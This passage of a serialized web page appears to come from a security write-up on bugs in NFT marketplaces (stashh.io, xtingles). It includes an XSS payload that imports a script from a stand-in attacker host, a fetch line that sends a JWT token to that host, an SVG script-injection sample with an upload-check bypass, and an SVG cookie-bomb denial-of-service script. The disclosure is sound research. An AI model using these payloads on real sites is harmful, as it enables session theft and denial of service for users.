32,"value":786},{"type":26,"tag":475,"props":33316,"children":33317},{"style":629},[33318],{"type":32,"value":32515},{"type":26,"tag":475,"props":33320,"children":33321},{"style":32074},[33322],{"type":32,"value":32478},{"type":26,"tag":475,"props":33324,"children":33325},{"class":477,"line":610},[33326,33330,33334],{"type":26,"tag":475,"props":33327,"children":33328},{"style":32074},[33329],{"type":32,"value":32527},{"type":26,"tag":475,"props":33331,"children":33332},{"style":482},[33333],{"type":32,"value":32149},{"type":26,"tag":475,"props":33335,"children":33336},{"style":32074},[33337],{"type":32,"value":5706},{"type":26,"tag":475,"props":33339,"children":33340},{"class":477,"line":650},[33341,33345,33349],{"type":26,"tag":475,"props":33342,"children":33343},{"style":32074},[33344],{"type":32,"value":32543},{"type":26,"tag":475,"props":33346,"children":33347},{"style":482},[33348],{"type":32,"value":32098},{"type":26,"tag":475,"props":33350,"children":33351},{"style":32074},[33352],{"type":32,"value":5706},{"type":26,"tag":475,"props":33354,"children":33355},{"class":477,"line":679},[33356],{"type":26,"tag":475,"props":33357,"children":33358},{"emptyLinePlaceholder":18},[33359],{"type":32,"value":545},{"type":26,"tag":475,"props":33361,"children":33362},{"class":477,"line":735},[33363,33367,33371],{"type":26,"tag":475,"props":33364,"children":33365},{"style":32074},[33366],{"type":32,"value":32093},{"type":26,"tag":475,"props":33368,"children":33369},{"style":482},[33370],{"type":32,"value":32114},{"type":26,"tag":475,"props":33372,"children":33373},{"style":32074},[33374],{"type":32,"value":5706},{"type":26,"tag":475,"props":33376,"children":33377},{"class":477,"line":744},[33378],{"type":26,"tag":475,"props":33379,"children":33380},{"emptyLinePlaceholder":18},[33381],{"type":32,"value":545},{"type":26,"tag":475,"props":33383,"children":33384},{"class":477,"line":753},[33385,33389],{"type":26,"tag":475,"props":33386,"children":33387},{"style":499},[33388],{"type":32,"value":32588},{"type":26,"tag":475,"props":33390,"children":33391},{"style":482},[33392],{"type":32,"value":10589},{"type":26,"tag":475,"props":33394,"children":33395},{"class":477,"line":761},[33396,33400,33404,33408,33412,33416,33420,33424,33428,33432,33436,33440],{"type":26,"tag":475,"props":33397,"children":33398},{"style":2375},[33399],{"type":32,"value":32600},{"type":26,"tag":475,"props":33401,"children":33402},{"style":2375},[33403],{"type":32,"value":32605},{"type":26,"tag":475,"props":33405,"children":33406},{"style":714},[33407],{"type":32,"value":32610},{"type":26,"tag":475,"props":33409,"children":33410},{"style":586},[33411],{"type":32,"value":2476},{"type":26,"tag":475,"props":33413,"children":33414},{"style":714},[33415],{"type":32,"value":2775},{"type":26,"tag":475,"props":33417,"children":33418},{"style":586},[33419],{"type":32,"value":2476},{"type":26,"tag":475,"props":33421,"children":33422},{"style":493},[33423],{"type":32,"value":2393},{"type":26,"tag":475,"props":33425,"children":33426},{"style":714},[33427],{"type":32,"value":626},{"type":26,"tag":475,"props":33429,"children":33430},{"style":629},[33431],{"type":32,"value":32635},{"type":26,"tag":475,"props":33433,"children":33434},{"style":714},[33435],{"type":32,"value":32640},{"type":26,"tag":475,"props":33437,"children":33438},{"style":493},[33439],{"type":32,"value":32645},{"type":26,"tag":475,"props":33441,"children":33442},{"style":714},[33443],{"type":32,"value":607},{"type":26,"tag":475,"props":33445,"children":33446},{"class":477,"line":770},[33447],{"type":26,"tag":475,"props":33448,"children":33449},{"emptyLinePlaceholder":18},[33450],{"type":32,"value":545},{"type":26,"tag":475,"props":33452,"children":33453},{"class":477,"line":794},[33454,33458,33462,33466,33470,33474,33478,33482,33486,33490,33494,33498,33502],{"type":26,"tag":475,"props":33455,"children":33456},{"style":2375},[33457],{"type":32,"value":2770},{"type":26,"tag":475,"props":33459,"children":33460},{"style":2375},[33461],{"type":32,"value":32668},{"type":26,"tag":475,"props":33463,"children":33464},{"style":714},[33465],{"type":32,"value":32610},{"type":26,"tag":475,"props":33467,"children":33468},{"style":482},[33469],{"type":32,"value":14828},{"type":26,"tag":475,"props":33471,"children":33472},{"style":493},[33473],{"type":32,"value":32681},{"type":26,"tag":475,"props":33475,"children":33476},{"style":714},[33477],{"type":32,"value":32686},{"type":26,"tag":475,"props":33479,"children":33480},{"style":2375},[33481],{"type":32,"value":32645},{"type":26,"tag":475,"props":33483,"children":33484},{"style":714},[33485],{"type":32,"value":22769},{"type":26,"tag":475,"props":33487,"children":33488},{"style":629},[33489],{"type":32,"value":32699},{"type":26,"tag":475,"props":33491,"children":33492},{"style":714},[33493],{"type":32,"value":32704},{"type":26,"tag":475,"props":33495,"children":33496},{"style":2375},[33497],{"type":32,"value":32709},{"type":26,"tag":475,"props":33499,"children":33500},{"style":629},[33501],{"type":32,"value":32714},{"type":26,"tag":475,"props":33503,"children":33504},{"style":714},[33505],{"type":32,"value":32719},{"type":26,"tag":475,"props":33507,"children":33508},{"class":477,"line":831},[33509,33513,33517,33521,33525,33529],{"type":26,"tag":475,"props":33510,"children":33511},{"style":2375},[33512],{"type":32,"value":32600},{"type":26,"tag":475,"props":33514,"children":33515},{"style":2375},[33516],{"type":32,"value":32731},{"type":26,"tag":475,"props":33518,"children":33519},{"style":714},[33520],{"type":32,"value":32610},{"type":26,"tag":475,"props":33522,"children":33523},{"style":482},[33524],{"type":32,"value":14828},{"type":26,"tag":475,"props":33526,"children":33527},{"style":493},[33528],{"type":32,"value":32744},{"type":26,"tag":475,"props":33530,"children":33531},{"style":714},[33532],{"type":32,"value":3376},{"type":26,"tag":475,"props":33534,"children":33535},{"class":477,"line":845},[33536,33540,33544,33548,33552,33556,33560,33564],{"type":26,"tag":475,"props":33537,"children":33538},{"style":2375},[33539],{"type":32,"value":32756},{"type":26,"tag":475,"props":33541,"children":33542},{"style":714},[33543],{"type":32,"value":353},{"type":26,"tag":475,"props":33545,"children":33546},{"style":2375},[33547],{"type":32,"value":32765},{"type":26,"tag":475,"props":33549,"children":33550},{"style":714},[33551],{"type":32,"value":353},{"type":26,"tag":475,"props":33553,"children":33554},{"style":493},[33555],{"type":32,"value":9346},{"type":26,"tag":475,"props":33557,"children":33558},{"style":714},[33559],{"type":32,"value":626},{"type":26,"tag":475,"props":33561,"children":33562},{"style":2375},[33563],{"type":32,"value":32782},{"type":26,"tag":475,"props":33565,"children":33566},{"style":714},[33567],{"type":32,"value":3533},{"type":26,"tag":475,"props":33569,"children":33570},{"class":477,"line":854},[33571],{"type":26,"tag":475,"props":33572,"children":33573},{"emptyLinePlaceholder":18},[33574],{"type":32,"value":545},{"type":26,"tag":475,"props":33576,"children":33577},{"class":477,"line":862},[33578,33582,33586,33590,33594,33598,33602,33606],{"type":26,"tag":475,"props":33579,"children":33580},{"style":2375},[33581],{"type":32,"value":32801},{"type":26,"tag":475,"props":33583,"children":33584},{"style":714},[33585],{"type":32,"value":353},{"type":26,"tag":475,"props":33587,"children":33588},{"style":2375},[33589],{"type":32,"value":32810},{"type":26,"tag":475,"props":33591,"children":33592},{"style":714},[33593],{"type":32,"value":32610},{"type":26,"tag":475,"props":33595,"children":33596},{"style":2375},[33597],{"type":32,"value":32819},{"type":26,"tag":475,"props":33599,"children":33600},{"style":714},[33601],{"type":32,"value":353},{"type":26,"tag":475,"props":33603,"children":33604},{"style":2375},[33605],{"type":32,"value":32810},{"type":26,"tag":475,"props":33607,"children":33608},{"style":714},[33609],{"type":32,"value":2729},{"type":26,"tag":475,"props":33611,"children":33612},{"class":477,"line":885},[33613],{"type":26,"tag":475,"props":33614,"children":33615},{"emptyLinePlaceholder":18},[33616],{"type":32,"value":545},{"type":26,"tag":475,"props":33618,"children":33619},{"class":477,"line":913},[33620,33625,33629,33634],{"type":26,"tag":475,"props":33621,"children":33622},{"style":2375},[33623],{"type":32,"value":33624}," form123",{"type":26,"tag":475,"props":33626,"children":33627},{"style":714},[33628],{"type":32,"value":353},{"type":26,"tag":475,"props":33630,"children":33631},{"style":493},[33632],{"type":32,"value":33633},"submit",{"type":26,"tag":475,"props":33635,"children":33636},{"style":714},[33637],{"type":32,"value":607},{"type":26,"tag":475,"props":33639,"children":33640},{"class":477,"line":926},[33641,33645],{"type":26,"tag":475,"props":33642,"children":33643},{"style":482},[33644],{"type":32,"value":32839},{"type":26,"tag":475,"props":33646,"children":33647},{"style":499},[33648],{"type":32,"value":32844},{"type":26,"tag":475,"props":33650,"children":33651},{"class":477,"line":948},[33652],{"type":26,"tag":475,"props":33653,"children":33654},{"emptyLinePlaceholder":18},[33655],{"type":32,"value":545},{"type":26,"tag":475,"props":33657,"children":33658},{"class":477,"line":966},[33659,33663,33667],{"type":26,"tag":475,"props":33660,"children":33661},{"style":32074},[33662],{"type":32,"value":32543},{"type":26,"tag":475,"props":33664,"children":33665},{"style":482},[33666],{"type":32,"value":32114},{"type":26,"tag":475,"props":33668,"children":33669},{"style":32074},[33670],{"type":32,"value":5706},{"type":26,"tag":475,"props":33672,"children":33673},{"class":477,"line":979},[33674,33678,33682],{"type":26,"tag":475,"props":33675,"children":33676},{"style":32074},[33677],{"type":32,"value":32128},{"type":26,"tag":475,"props":33679,"children":33680},{"style":482},[33681],{"type":32,"value":32081},{"type":26,"tag":475,"props":33683,"children":33684},{"style":32074},[33685],{"type":32,"value":5706},{"type":26,"tag":35,"props":33687,"children":33688},{},[33689],{"type":32,"value":33690},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":26,"tag":465,"props":33692,"children":33695},{"className":33693,"code":33694,"language":2489,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n \"to\": \"profile-assets\",\n \"type\": \"icon\"\n}\n",[33696],{"type":26,"tag":53,"props":33697,"children":33698},{"__ignoreMap":7},[33699,33706,33727,33748,33765],{"type":26,"tag":475,"props":33700,"children":33701},{"class":477,"line":478},[33702],{"type":26,"tag":475,"props":33703,"children":33704},{"style":499},[33705],{"type":32,"value":10589},{"type":26,"tag":475,"props":33707,"children":33708},{"class":477,"line":516},[33709,33714,33718,33723],{"type":26,"tag":475,"props":33710,"children":33711},{"style":2375},[33712],{"type":32,"value":33713}," \"address\"",{"type":26,"tag":475,"props":33715,"children":33716},{"style":499},[33717],{"type":32,"value":15037},{"type":26,"tag":475,"props":33719,"children":33720},{"style":629},[33721],{"type":32,"value":33722},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":26,"tag":475,"props":33724,"children":33725},{"style":499},[33726],{"type":32,"value":2425},{"type":26,"tag":475,"props":33728,"children":33729},{"class":477,"line":539},[33730,33735,33739,33744],{"type":26,"tag":475,"props":33731,"children":33732},{"style":2375},[33733],{"type":32,"value":33734}," \"to\"",{"type":26,"tag":475,"props":33736,"children":33737},{"style":499},[33738],{"type":32,"value":15037},{"type":26,"tag":475,"props":33740,"children":33741},{"style":629},[33742],{"type":32,"value":33743},"\"profile-assets\"",{"type":26,"tag":475,"props":33745,"children":33746},{"style":499},[33747],{"type":32,"value":2425},{"type":26,"tag":475,"props":33749,"children":33750},{"class":477,"line":548},[33751,33756,33760],{"type":26,"tag":475,"props":33752,"children":33753},{"style":2375},[33754],{"type":32,"value":33755}," \"type\"",{"type":26,"tag":475,"props":33757,"children":33758},{"style":499},[33759],{"type":32,"value":15037},{"type":26,"tag":475,"props":33761,"children":33762},{"style":629},[33763],{"type":32,"value":33764},"\"icon\"\n",{"type":26,"tag":475,"props":33766,"children":33767},{"class":477,"line":558},[33768],{"type":26,"tag":475,"props":33769,"children":33770},{"style":499},[33771],{"type":32,"value":3607},{"type":26,"tag":35,"props":33773,"children":33774},{},[33775],{"type":32,"value":33776},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":26,"tag":465,"props":33778,"children":33780},{"className":2332,"code":33779,"language":2334,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[33781],{"type":26,"tag":53,"props":33782,"children":33783},{"__ignoreMap":7},[33784],{"type":26,"tag":475,"props":33785,"children":33786},{"class":477,"line":478},[33787,33792,33796,33801,33805,33810,33814,33819,33823,33828,33832,33836,33840],{"type":26,"tag":475,"props":33788,"children":33789},{"style":493},[33790],{"type":32,"value":33791},"fetch",{"type":26,"tag":475,"props":33793,"children":33794},{"style":499},[33795],{"type":32,"value":626},{"type":26,"tag":475,"props":33797,"children":33798},{"style":629},[33799],{"type":32,"value":33800},"`https://attacker-server.com/?token_leak=",{"type":26,"tag":475,"props":33802,"children":33803},{"style":482},[33804],{"type":32,"value":711},{"type":26,"tag":475,"props":33806,"children":33807},{"style":2375},[33808],{"type":32,"value":33809},"localStorage",{"type":26,"tag":475,"props":33811,"children":33812},{"style":714},[33813],{"type":32,"value":353},{"type":26,"tag":475,"props":33815,"children":33816},{"style":493},[33817],{"type":32,"value":33818},"getItem",{"type":26,"tag":475,"props":33820,"children":33821},{"style":714},[33822],{"type":32,"value":626},{"type":26,"tag":475,"props":33824,"children":33825},{"style":629},[33826],{"type":32,"value":33827},"'token'",{"type":26,"tag":475,"props":33829,"children":33830},{"style":714},[33831],{"type":32,"value":2835},{"type":26,"tag":475,"props":33833,"children":33834},{"style":482},[33835],{"type":32,"value":722},{"type":26,"tag":475,"props":33837,"children":33838},{"style":629},[33839],{"type":32,"value":10090},{"type":26,"tag":475,"props":33841,"children":33842},{"style":499},[33843],{"type":32,"value":3533},{"type":26,"tag":41,"props":33845,"children":33847},{"id":33846},"svgs",[33848],{"type":32,"value":33849},"SVGs",{"type":26,"tag":35,"props":33851,"children":33852},{},[33853],{"type":32,"value":33854},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":26,"tag":35,"props":33856,"children":33857},{},[33858],{"type":32,"value":33859},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":26,"tag":465,"props":33861,"children":33863},{"className":2332,"code":33862,"language":2334,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n alert(document.domain);\n \u003C/script>\n \u003C/svg>\n",[33864],{"type":26,"tag":53,"props":33865,"children":33866},{"__ignoreMap":7},[33867,33913,33950,33957,33987,34019,34047,34055,34071],{"type":26,"tag":475,"props":33868,"children":33869},{"class":477,"line":478},[33870,33875,33880,33885,33889,33894,33899,33903,33908],{"type":26,"tag":475,"props":33871,"children":33872},{"style":714},[33873],{"type":32,"value":33874},"\u003C?",{"type":26,"tag":475,"props":33876,"children":33877},{"style":2375},[33878],{"type":32,"value":33879},"xml",{"type":26,"tag":475,"props":33881,"children":33882},{"style":2375},[33883],{"type":32,"value":33884}," version",{"type":26,"tag":475,"props":33886,"children":33887},{"style":714},[33888],{"type":32,"value":786},{"type":26,"tag":475,"props":33890,"children":33891},{"style":629},[33892],{"type":32,"value":33893},"\"1.0\"",{"type":26,"tag":475,"props":33895,"children":33896},{"style":2375},[33897],{"type":32,"value":33898}," encoding",{"type":26,"tag":475,"props":33900,"children":33901},{"style":714},[33902],{"type":32,"value":786},{"type":26,"tag":475,"props":33904,"children":33905},{"style":629},[33906],{"type":32,"value":33907},"\"UTF-8\"",{"type":26,"tag":475,"props":33909,"children":33910},{"style":714},[33911],{"type":32,"value":33912},"?>\n",{"type":26,"tag":475,"props":33914,"children":33915},{"class":477,"line":516},[33916,33921,33926,33931,33936,33941,33946],{"type":26,"tag":475,"props":33917,"children":33918},{"style":714},[33919],{"type":32,"value":33920},"\u003C!",{"type":26,"tag":475,"props":33922,"children":33923},{"style":2375},[33924],{"type":32,"value":33925},"DOCTYPE",{"type":26,"tag":475,"props":33927,"children":33928},{"style":2375},[33929],{"type":32,"value":33930}," svg",{"type":26,"tag":475,"props":33932,"children":33933},{"style":2375},[33934],{"type":32,"value":33935}," PUBLIC",{"type":26,"tag":475,"props":33937,"children":33938},{"style":629},[33939],{"type":32,"value":33940}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":26,"tag":475,"props":33942,"children":33943},{"style":629},[33944],{"type":32,"value":33945}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":26,"tag":475,"props":33947,"children":33948},{"style":714},[33949],{"type":32,"value":5706},{"type":26,"tag":475,"props":33951,"children":33952},{"class":477,"line":539},[33953],{"type":26,"tag":475,"props":33954,"children":33955},{"emptyLinePlaceholder":18},[33956],{"type":32,"value":545},{"type":26,"tag":475,"props":33958,"children":33959},{"class":477,"line":548},[33960,33964,33969,33974,33978,33983],{"type":26,"tag":475,"props":33961,"children":33962},{"style":32074},[33963],{"type":32,"value":8430},{"type":26,"tag":475,"props":33965,"children":33966},{"style":482},[33967],{"type":32,"value":33968},"svg",{"type":26,"tag":475,"props":33970,"children":33971},{"style":2375},[33972],{"type":32,"value":33973}," xmlns",{"type":26,"tag":475,"props":33975,"children":33976},{"style":714},[33977],{"type":32,"value":786},{"type":26,"tag":475,"props":33979,"children":33980},{"style":629},[33981],{"type":32,"value":33982},"\"http://www.w3.org/2000/svg\"",{"type":26,"tag":475,"props":33984,"children":33985},{"style":32074},[33986],{"type":32,"value":5706},{"type":26,"tag":475,"props":33988,"children":33989},{"class":477,"line":558},[33990,33994,33999,34003,34007,34011,34015],{"type":26,"tag":475,"props":33991,"children":33992},{"style":32074},[33993],{"type":32,"value":32093},{"type":26,"tag":475,"props":33995,"children":33996},{"style":482},[33997],{"type":32,"value":33998},"title",{"type":26,"tag":475,"props":34000,"children":34001},{"style":32074},[34002],{"type":32,"value":10170},{"type":26,"tag":475,"props":34004,"children":34005},{"style":499},[34006],{"type":32,"value":30939},{"type":26,"tag":475,"props":34008,"children":34009},{"style":32074},[34010],{"type":32,"value":32128},{"type":26,"tag":475,"props":34012,"children":34013},{"style":482},[34014],{"type":32,"value":33998},{"type":26,"tag":475,"props":34016,"children":34017},{"style":32074},[34018],{"type":32,"value":5706},{"type":26,"tag":475,"props":34020,"children":34021},{"class":477,"line":582},[34022,34026,34030,34034,34038,34043],{"type":26,"tag":475,"props":34023,"children":34024},{"style":32074},[34025],{"type":32,"value":32093},{"type":26,"tag":475,"props":34027,"children":34028},{"style":482},[34029],{"type":32,"value":32114},{"type":26,"tag":475,"props":34031,"children":34032},{"style":2375},[34033],{"type":32,"value":32239},{"type":26,"tag":475,"props":34035,"children":34036},{"style":714},[34037],{"type":32,"value":786},{"type":26,"tag":475,"props":34039,"children":34040},{"style":629},[34041],{"type":32,"value":34042},"\"text/javascript\"",{"type":26,"tag":475,"props":34044,"children":34045},{"style":32074},[34046],{"type":32,"value":5706},{"type":26,"tag":475,"props":34048,"children":34049},{"class":477,"line":596},[34050],{"type":26,"tag":475,"props":34051,"children":34052},{"style":499},[34053],{"type":32,"value":34054}," alert(document.domain);\n",{"type":26,"tag":475,"props":34056,"children":34057},{"class":477,"line":610},[34058,34063,34067],{"type":26,"tag":475,"props":34059,"children":34060},{"style":32074},[34061],{"type":32,"value":34062}," \u003C/",{"type":26,"tag":475,"props":34064,"children":34065},{"style":482},[34066],{"type":32,"value":32114},{"type":26,"tag":475,"props":34068,"children":34069},{"style":32074},[34070],{"type":32,"value":5706},{"type":26,"tag":475,"props":34072,"children":34073},{"class":477,"line":650},[34074,34079,34083],{"type":26,"tag":475,"props":34075,"children":34076},{"style":32074},[34077],{"type":32,"value":34078}," \u003C/",{"type":26,"tag":475,"props":34080,"children":34081},{"style":482},[34082],{"type":32,"value":33968},{"type":26,"tag":475,"props":34084,"children":34085},{"style":32074},[34086],{"type":32,"value":5706},{"type":26,"tag":35,"props":34088,"children":34089},{},[34090,34092,34099],{"type":32,"value":34091},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":26,"tag":116,"props":34093,"children":34096},{"href":34094,"rel":34095},"https://xtingles.com/",[120],[34097],{"type":32,"value":34098},"xtingles Marketplace",{"type":32,"value":353},{"type":26,"tag":35,"props":34101,"children":34102},{},[34103],{"type":32,"value":34104},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":26,"tag":35,"props":34106,"children":34107},{},[34108],{"type":32,"value":34109},"Below, we show you how we did it.",{"type":26,"tag":35,"props":34111,"children":34112},{},[34113],{"type":32,"value":34114},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":26,"tag":35,"props":34116,"children":34117},{},[34118],{"type":26,"tag":132,"props":34119,"children":34121},{"alt":7,"src":34120},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":26,"tag":35,"props":34123,"children":34124},{},[34125],{"type":32,"value":34126},"After changing the extension inside the file name.",{"type":26,"tag":35,"props":34128,"children":34129},{},[34130],{"type":26,"tag":132,"props":34131,"children":34133},{"alt":7,"src":34132},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":26,"tag":41,"props":34135,"children":34137},{"id":34136},"svgs-return",[34138],{"type":32,"value":34139},"SVGs Return",{"type":26,"tag":35,"props":34141,"children":34142},{},[34143],{"type":32,"value":34144},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":26,"tag":35,"props":34146,"children":34147},{},[34148],{"type":32,"value":34149},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":26,"tag":35,"props":34151,"children":34152},{},[34153],{"type":32,"value":34154},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":26,"tag":465,"props":34156,"children":34160},{"className":34157,"code":34158,"language":34159,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n var Set_Cookie = Array(10000).join('a');\n\n for (var i = 1; i \u003C 99; i++) {\n document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n }\n \u003C/script>\n \u003C/svg>\n","jsx",[34161],{"type":26,"tag":53,"props":34162,"children":34163},{"__ignoreMap":7},[34164,34203,34234,34241,34268,34299,34326,34334,34342,34349,34361,34436,34444,34459],{"type":26,"tag":475,"props":34165,"children":34166},{"class":477,"line":478},[34167,34171,34175,34179,34183,34187,34191,34195,34199],{"type":26,"tag":475,"props":34168,"children":34169},{"style":714},[34170],{"type":32,"value":33874},{"type":26,"tag":475,"props":34172,"children":34173},{"style":2375},[34174],{"type":32,"value":33879},{"type":26,"tag":475,"props":34176,"children":34177},{"style":2375},[34178],{"type":32,"value":33884},{"type":26,"tag":475,"props":34180,"children":34181},{"style":714},[34182],{"type":32,"value":786},{"type":26,"tag":475,"props":34184,"children":34185},{"style":629},[34186],{"type":32,"value":33893},{"type":26,"tag":475,"props":34188,"children":34189},{"style":2375},[34190],{"type":32,"value":33898},{"type":26,"tag":475,"props":34192,"children":34193},{"style":714},[34194],{"type":32,"value":786},{"type":26,"tag":475,"props":34196,"children":34197},{"style":629},[34198],{"type":32,"value":33907},{"type":26,"tag":475,"props":34200,"children":34201},{"style":714},[34202],{"type":32,"value":33912},{"type":26,"tag":475,"props":34204,"children":34205},{"class":477,"line":516},[34206,34210,34214,34218,34222,34226,34230],{"type":26,"tag":475,"props":34207,"children":34208},{"style":714},[34209],{"type":32,"value":33920},{"type":26,"tag":475,"props":34211,"children":34212},{"style":2375},[34213],{"type":32,"value":33925},{"type":26,"tag":475,"props":34215,"children":34216},{"style":2375},[34217],{"type":32,"value":33930},{"type":26,"tag":475,"props":34219,"children":34220},{"style":2375},[34221],{"type":32,"value":33935},{"type":26,"tag":475,"props":34223,"children":34224},{"style":629},[34225],{"type":32,"value":33940},{"type":26,"tag":475,"props":34227,"children":34228},{"style":629},[34229],{"type":32,"value":33945},{"type":26,"tag":475,"props":34231,"children":34232},{"style":714},[34233],{"type":32,"value":5706},{"type":26,"tag":475,"props":34235,"children":34236},{"class":477,"line":539},[34237],{"type":26,"tag":475,"props":34238,"children":34239},{"emptyLinePlaceholder":18},[34240],{"type":32,"value":545},{"type":26,"tag":475,"props":34242,"children":34243},{"class":477,"line":548},[34244,34248,34252,34256,34260,34264],{"type":26,"tag":475,"props":34245,"children":34246},{"style":32074},[34247],{"type":32,"value":8430},{"type":26,"tag":475,"props":34249,"children":34250},{"style":482},[34251],{"type":32,"value":33968},{"type":26,"tag":475,"props":34253,"children":34254},{"style":2375},[34255],{"type":32,"value":33973},{"type":26,"tag":475,"props":34257,"children":34258},{"style":714},[34259],{"type":32,"value":786},{"type":26,"tag":475,"props":34261,"children":34262},{"style":629},[34263],{"type":32,"value":33982},{"type":26,"tag":475,"props":34265,"children":34266},{"style":32074},[34267],{"type":32,"value":5706},{"type":26,"tag":475,"props":34269,"children":34270},{"class":477,"line":558},[34271,34275,34279,34283,34287,34291,34295],{"type":26,"tag":475,"props":34272,"children":34273},{"style":32074},[34274],{"type":32,"value":32093},{"type":26,"tag":475,"props":34276,"children":34277},{"style":482},[34278],{"type":32,"value":33998},{"type":26,"tag":475,"props":34280,"children":34281},{"style":32074},[34282],{"type":32,"value":10170},{"type":26,"tag":475,"props":34284,"children":34285},{"style":499},[34286],{"type":32,"value":30939},{"type":26,"tag":475,"props":34288,"children":34289},{"style":32074},[34290],{"type":32,"value":32128},{"type":26,"tag":475,"props":34292,"children":34293},{"style":482},[34294],{"type":32,"value":33998},{"type":26,"tag":475,"props":34296,"children":34297},{"style":32074},[34298],{"type":32,"value":5706},{"type":26,"tag":475,"props":34300,"children":34301},{"class":477,"line":582},[34302,34306,34310,34314,34318,34322],{"type":26,"tag":475,"props":34303,"children":34304},{"style":32074},[34305],{"type":32,"value":32093},{"type":26,"tag":475,"props":34307,"children":34308},{"style":482},[34309],{"type":32,"value":32114},{"type":26,"tag":475,"props":34311,"children":34312},{"style":2375},[34313],{"type":32,"value":32239},{"type":26,"tag":475,"props":34315,"children":34316},{"style":714},[34317],{"type":32,"value":786},{"type":26,"tag":475,"props":34319,"children":34320},{"style":629},[34321],{"type":32,"value":34042},{"type":26,"tag":475,"props":34323,"children":34324},{"style":32074},[34325],{"type":32,"value":5706},{"type":26,"tag":475,"props":34327,"children":34328},{"class":477,"line":596},[34329],{"type":26,"tag":475,"props":34330,"children":34331},{"style":499},[34332],{"type":32,"value":34333}," var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":26,"tag":475,"props":34335,"children":34336},{"class":477,"line":610},[34337],{"type":26,"tag":475,"props":34338,"children":34339},{"style":499},[34340],{"type":32,"value":34341}," var Set_Cookie = Array(10000).join('a');\n",{"type":26,"tag":475,"props":34343,"children":34344},{"class":477,"line":650},[34345],{"type":26,"tag":475,"props":34346,"children":34347},{"emptyLinePlaceholder":18},[34348],{"type":32,"value":545},{"type":26,"tag":475,"props":34350,"children":34351},{"class":477,"line":679},[34352,34357],{"type":26,"tag":475,"props":34353,"children":34354},{"style":499},[34355],{"type":32,"value":34356}," for (var i = 1; i \u003C 99; i++) ",{"type":26,"tag":475,"props":34358,"children":34359},{"style":482},[34360],{"type":32,"value":10589},{"type":26,"tag":475,"props":34362,"children":34363},{"class":477,"line":735},[34364,34369,34373,34378,34382,34387,34392,34396,34400,34405,34409,34414,34418,34423,34427,34432],{"type":26,"tag":475,"props":34365,"children":34366},{"style":2375},[34367],{"type":32,"value":34368}," document",{"type":26,"tag":475,"props":34370,"children":34371},{"style":714},[34372],{"type":32,"value":353},{"type":26,"tag":475,"props":34374,"children":34375},{"style":2375},[34376],{"type":32,"value":34377},"cookie",{"type":26,"tag":475,"props":34379,"children":34380},{"style":714},[34381],{"type":32,"value":32610},{"type":26,"tag":475,"props":34383,"children":34384},{"style":629},[34385],{"type":32,"value":34386},"'Cookie'",{"type":26,"tag":475,"props":34388,"children":34389},{"style":714},[34390],{"type":32,"value":34391}," + ",{"type":26,"tag":475,"props":34393,"children":34394},{"style":2375},[34395],{"type":32,"value":3445},{"type":26,"tag":475,"props":34397,"children":34398},{"style":714},[34399],{"type":32,"value":34391},{"type":26,"tag":475,"props":34401,"children":34402},{"style":629},[34403],{"type":32,"value":34404},"'='",{"type":26,"tag":475,"props":34406,"children":34407},{"style":714},[34408],{"type":32,"value":34391},{"type":26,"tag":475,"props":34410,"children":34411},{"style":2375},[34412],{"type":32,"value":34413},"Set_Cookie",{"type":26,"tag":475,"props":34415,"children":34416},{"style":714},[34417],{"type":32,"value":34391},{"type":26,"tag":475,"props":34419,"children":34420},{"style":629},[34421],{"type":32,"value":34422},"';Domain='",{"type":26,"tag":475,"props":34424,"children":34425},{"style":714},[34426],{"type":32,"value":34391},{"type":26,"tag":475,"props":34428,"children":34429},{"style":2375},[34430],{"type":32,"value":34431},"Take_Domain",{"type":26,"tag":475,"props":34433,"children":34434},{"style":714},[34435],{"type":32,"value":2729},{"type":26,"tag":475,"props":34437,"children":34438},{"class":477,"line":744},[34439],{"type":26,"tag":475,"props":34440,"children":34441},{"style":482},[34442],{"type":32,"value":34443}," 